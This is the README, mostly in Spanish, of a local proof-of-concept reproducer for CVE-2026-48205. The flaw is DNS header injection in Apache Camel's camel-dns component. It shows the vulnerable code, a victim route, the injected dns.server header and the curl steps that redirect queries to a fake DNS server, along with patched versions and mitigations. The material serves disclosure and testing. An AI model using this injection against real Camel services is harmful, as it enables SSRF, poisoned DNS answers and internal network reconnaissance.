camel-dns dns.* / term Header Injection Reproducer (CVE-2026-48205)

Este proyecto demuestra una inyección de encabezados de mensaje en el componente camel-dns de Apache Camel, registrada como CVE-2026-48205. Los productores DNS leen sus parámetros de operación — el resolvedor a consultar, el nombre/dominio a buscar, el tipo/clase de registro y el término de búsqueda — de los encabezados Exchange cuyos valores constantes (DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) eran las cadenas simples dns.server, dns.name, dns.domain, dns.type, dns.class y term. Debido a que estos nombres no comienzan con el prefijo Camel / camel, HttpHeaderFilterStrategy — que solo bloquea el espacio de nombres de encabezados Camel en el límite HTTP — les permite pasar de una solicitud HTTP entrante directamente al Exchange.

En una ruta que conecta un consumidor HTTP (por ejemplo platform-http) con un productor dns:, cualquier cliente HTTP puede, por lo tanto, establecer el encabezado dns.server para hacer que el productor dig construya un SimpleResolver que apunte a un servidor DNS controlado por el atacante — una falsificación de solicitud del lado del servidor (SSRF) vía DNS, a través de la cual el atacante observa el nombre consultado y puede devolver respuestas envenenadas — y puede establecer dns.name / dns.domain para resolver nombres de host internos arbitrarios (reconocimiento de red interna).

Advisory: https://camel.apache.org/security/CVE-2026-48205.html

Resumen de la vulnerabilidad

La corrección renombra los encabezados a CamelDnsServer / CamelDnsName / etc., para que se filtren en el límite HTTP como cualquier otro encabezado de control de Camel. Misma familia que CVE-2025-27636, CVE-2026-46454 y CVE-2026-47323.

Detalles técnicos

// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME   = "dns.name";

// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server);        // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server

La corrección (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) renombra los valores a la convención CamelDns*.

La ruta víctima

from("platform-http:/lookup")
    .setHeader("dns.name", constant("example.com"))
    .setHeader("dns.type", constant("A"))
    .setHeader("dns.class", constant("IN"))
    .to("dns:dig");                                          // no dns.server -> default resolver (intended)

La ruta consulta un nombre fijo contra el resolvedor predeterminado. El atacante añade un único encabezado dns.server y la consulta se redirige a su servidor DNS. (dns.server está en minúsculas, por lo que sobrevive la normalización de encabezados de un contenedor de servlets — platform-http es suficiente.)

Estructura del repositorio

Everything runs in one self-contained container: the victim route, the attacker's fake DNS server (UDP 53), and the attacker driver.

CVE-2026-48205/
├── pom.xml                 # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FakeDnsServer.java     # attacker DNS server on UDP 53 (records the redirected query)
    │   ├── VictimRoute.java       # platform-http:/lookup -> dns:dig
    │   └── ExploitController.java # attacker: injects dns.server=127.0.0.1
    └── resources/
        └── application.properties

Requisitos previos

• Docker y Docker Compose (el servidor DNS falso enlaza el puerto UDP 53, que necesita root — el contenedor se ejecuta como root)
• Java 17+ y Maven 3.8+ (para construir el jar)

Pasos para la reproducción

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Salida esperada

=== 1) Legitimate request (no dns.server header) — default resolver ===
  attacker's DNS server was queried: false

=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
  attacker's DNS server was queried: true
  observed lookup name: example.com.

>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true

El servidor DNS del atacante ahora ve el nombre de búsqueda de la víctima (y podría devolver una respuesta envenenada). Apuntar dns.server a un resolvedor DNS interno real, o establecer dns.name a nombres de host internos, permite el reconocimiento de la red interna.

Corrección recomendada

Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574). Después de la actualización, las rutas que manejan operaciones DNS a través de encabezados deben usar CamelDnsServer / CamelDnsName / etc.

Mitigación

Hasta la actualización, elimine los encabezados dns.* y term de cualquier entrada no confiable antes del productor dns:, y establezca el servidor DNS y los parámetros de búsqueda desde una fuente confiable en la ruta.

Descargo de responsabilidad

Este reproductor se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.